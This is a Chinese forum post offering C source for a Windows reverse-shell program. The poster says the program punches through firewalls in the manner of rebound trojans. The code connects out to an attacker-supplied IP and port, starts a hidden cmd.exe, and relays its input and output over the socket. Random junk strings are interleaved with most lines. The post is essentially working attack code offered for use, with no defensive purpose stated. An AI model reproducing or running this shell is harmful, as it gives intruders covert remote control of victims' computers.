社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5949阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rh!m1Q(-  
<isU D6TC  
/* ============================== 7^V`B^Vu  
Rebound port in Windows NT DR @yd,  
By wind,2006/7 s?"\+b  
===============================*/ k0&FUO  
#include 2Jky,YLcb  
#include fRxn,HyV  
7|"l/s9,  
#pragma comment(lib,"wsock32.lib")  Ci 'V  
7xM4=\~OG  
void OutputShell(); :]4s;q:m  
SOCKET sClient; IA Ws}xIly  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k& M~yb  
XI:+EeM?  
void main(int argc,char **argv) <I*N=;7  
{ /eT9W[a  
WSADATA stWsaData; mE;^B%v  
int nRet; (/^?$~m"  
SOCKADDR_IN stSaiClient,stSaiServer; )Y&B63]B  
-aLM*nIoe  
if(argc != 3) 0}YadNb7  
{ y<*\D_J  
printf("Useage:\n\rRebound DestIP DestPort\n"); GDs/U1[*  
return; 7Le- f  
} P8#_E{f  
G0kF[8Am  
WSAStartup(MAKEWORD(2,2),&stWsaData); A~ v[6*~>  
Bp5 %&T k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lp3pJE  
FRL;fF  
stSaiClient.sin_family = AF_INET; [VLq/lg*  
stSaiClient.sin_port = htons(0); ^$mCF%e8H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c}!`tBTm  
EuA352x  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m<LzgX  
{ $m-C6xC/  
printf("Bind Socket Failed!\n"); ZFh[xg'0  
return; vXZP>  
} rLY I\  
3''Uxlo\  
stSaiServer.sin_family = AF_INET; Ki1 zi~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <IBUl}|\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1FG"Ak}D  
Pf;RJeD  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z =\ENG|x#  
{ vR pO0qG  
printf("Connect Error!"); gv&Hu$ ca  
return; >s!k"s,  
} Y9 Bk$$#\  
OutputShell(); xT( pB-R  
} /XA*:8~!  
fh66Gn,  
void OutputShell() 4#t=%}  
{ AFeFH.G6Jr  
char szBuff[1024]; I~E&::,  
SECURITY_ATTRIBUTES stSecurityAttributes; |Om9(xT  
OSVERSIONINFO stOsversionInfo; D><^7nr%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X{[$4\di{  
STARTUPINFO stStartupInfo; ug'^$geM  
char *szShell; !HtW~8|:  
PROCESS_INFORMATION stProcessInformation; |Bv,*7i&  
unsigned long lBytesRead; i5_l//]  
eYn/F~5-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bk@EQdn  
*5\'$;Rg  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p AaNWm  
stSecurityAttributes.lpSecurityDescriptor = 0; sO!m,pK(  
stSecurityAttributes.bInheritHandle = TRUE; ynf!1!4  
LF)wn -C}  
<]_[o:nOP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rmFcSolt,f  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qP zxP @4  
|oePB<N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pB]*cd B?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -s7!:MB%g  
stStartupInfo.wShowWindow = SW_HIDE; YN7O Qqa  
stStartupInfo.hStdInput = hReadPipe; !w0=&/Y{R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t! u>l  
|+JC'b?,  
GetVersionEx(&stOsversionInfo); )T&r770  
k'sPA_|  
switch(stOsversionInfo.dwPlatformId) b2j ~"9  
{ wbk$(P'gN  
case 1: gR_Exs'K  
szShell = "command.com"; ]US!3R^  
break; aWP9i &  
default: ,g3n/'rP%  
szShell = "cmd.exe"; aZ|S$-}  
break; RMid}BRE  
} SLH;iqPT  
Z^%HDB9^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u6:$AA  
"`4M4`'  
send(sClient,szMsg,77,0); lS!O(NzqE'  
while(1) JL<<EPC  
{ F7]8*[u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Cy)QS{YX  
if(lBytesRead) wSdiF-ue  
{ O*n@!ye  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l%?()]y  
send(sClient,szBuff,lBytesRead,0); 9%0^fhrJ  
} KFaYn  
else |@f\[v9`  
{ ICc:k%wE7  
lBytesRead=recv(sClient,szBuff,1024,0); HV]u9nrt#  
if(lBytesRead<=0) break; u?>8`]r  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 64<*\z_  
} q$`>[&I~)  
} )YZx]6\l)  
^ ]+vtk  
return; wS >S\,LV  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五